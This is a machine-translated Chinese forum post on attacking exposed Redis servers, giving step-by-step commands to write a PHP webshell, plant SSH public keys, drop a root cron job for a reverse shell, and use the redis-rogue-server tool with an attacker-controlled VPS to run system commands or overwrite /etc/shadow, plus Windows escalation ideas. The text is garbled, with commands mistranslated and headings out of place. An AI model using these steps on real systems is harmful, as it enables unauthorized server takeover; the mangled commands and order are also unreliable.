H

Redis 在渗透测试中常见的利用方式

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
010-110本文主要使用REDIS未获得授权或已知redis密码的前提
20200525095914.png-water_print

Redis 在渗透测试中常见的利用方式​

条件:
已知的Web目录绝对路径
在此目录中拥有可写的权限
查看所有键,创建新键,关键值是Webshell,这是通过写给Phpinfo的演示。
因为创建一个新键来分配键将覆盖原始键值,所以您需要在分配时查看所有键,然后选择一个不存在的密钥来创建分配。
1
2
3
钥匙*
设置x'\ n \ n?php pnpinfo();\ n'
获取X
20200525100009.png-water_print

检查REDIS数据库配置信息,因为当我们编写WebShell时,我们将修改DIR和DBFILENAME,因此我们在此处查看配置信息时主要记录原始值,幸运的是,我们将在编写后进行修改。
1
config get *
20200525100101.png-water_print

20200525100117.png-water_print

设置Webshell输出目录和文件名,然后写入Webshell。
1
2
3
配置设置dir /var /www#设置文件写作目录
配置设置DBFILENAME 1.PHP#设置写文件名称
保存#保存
20200525101443.png-water_print

最后,还原数据库配置。

1 写入 webshell​

条件:
已知可以启动服务的用户
有一个.ssh目录
允许使用密钥身份验证登录

2 写入 ssh 公钥​

1
ssh -keygen -t rsa#生成公共和私钥

2.1 生成公私钥对​

1
2
3
4
设置x'\ n \ npublic键内容\ n'
config set dir/home/user/.ssh
config set dbfilename授权_keys
节省

2.2 利用 redis config 写文件​

1
ssh -i id_rsa用户@ip

2.3 利用公私钥对登录​

条件:
有权编写计划的任务目录
目标开始计划服务
1
2
3
4
5
6
7
钥匙*查看所有键
设置x'\ n \ nschedule任务内容\ n \ n'
config get *
配置集dir/var/spool/cron
config set dbfilename root
保存保存,完成文件编写
del x删除创建的x键

3 写定时任务反弹 shell​

4 主从复制​

在先前有关复制漏洞的文章中已经解释了具体原则。
脚本地址:https://github.com/dliv3/redis-rogue-server
主动连接模式:
参数描述
-rpasswd如果目标重新服务已启用身份验证,则可以通过此选项指定密码
  • RHOST目标REDIS服务IP
  • RPORT TARGET REDIS服务端口,默认值为6379
-LHOST VPS的外部网络IP地址
- Lotport VPS受监视的端口,默认值为21000
1
python3 redis-rogue-server.py- -ROST目标地址- RPORT目标端口- LHOST VPS地址-LPORT VPS端口
20200525104637.png-water_print

被动连接模式:
适用于目标重新服务在Intranet中的情况
通过SSRF攻击Redis
Intranet Redis未经授权的访问/已知的REDIS密码,REDIS需要与Redis Rogue Server进行反向连接
1
python3 redis-Rogue-server.py-仅服务器

4.1 加载扩展模块执行系统命令​

在Linux下,Sync Master-Slave同步可用于直接编写无杂质文件。脚本如下:
该脚本通过Redis Master和Slave编写无损文件,可用于编写Windows平台上Linux之下的Exe,DLL,LNK等无损二进制文件。
您也可以在没有杂质的Linux中覆盖/etc /Shadow
1
python3 rediswritefile.py- -rhost 172.17.0.2 - rport 6379 - -lhost 172.17.0.1--lport 4444- -rpath'/var/var/www' - rfile'test.php'test.php' - lfile'-lfile'./phpinfo.php'./phpinfo.php'
20200525104700.png-water_print

20200525104744.png-water_print

上述方法主要针对Linux。当Windows在Windows上未启用Web服务时,如何获取?
以下是在Windows下播放Redis的常见方法:
系统DLL劫持(目标重新启动或注销)
DLL劫持特定软件(单击目标)
快捷方式覆盖目标(一次点击单击目标)
覆盖特定软件的配置文件以实现升高权的目的(该目标不需要单击或单击一次)
覆盖文件,例如sethc.exe(由攻击者一个人触发)
参考:http://r3start.net/index.php/2020/05/25/717

4.2 主从复制写入纯净文件​

设置密码身份验证
尝试以低权限运行REDIS服务
限制登录IP
 
后退
顶部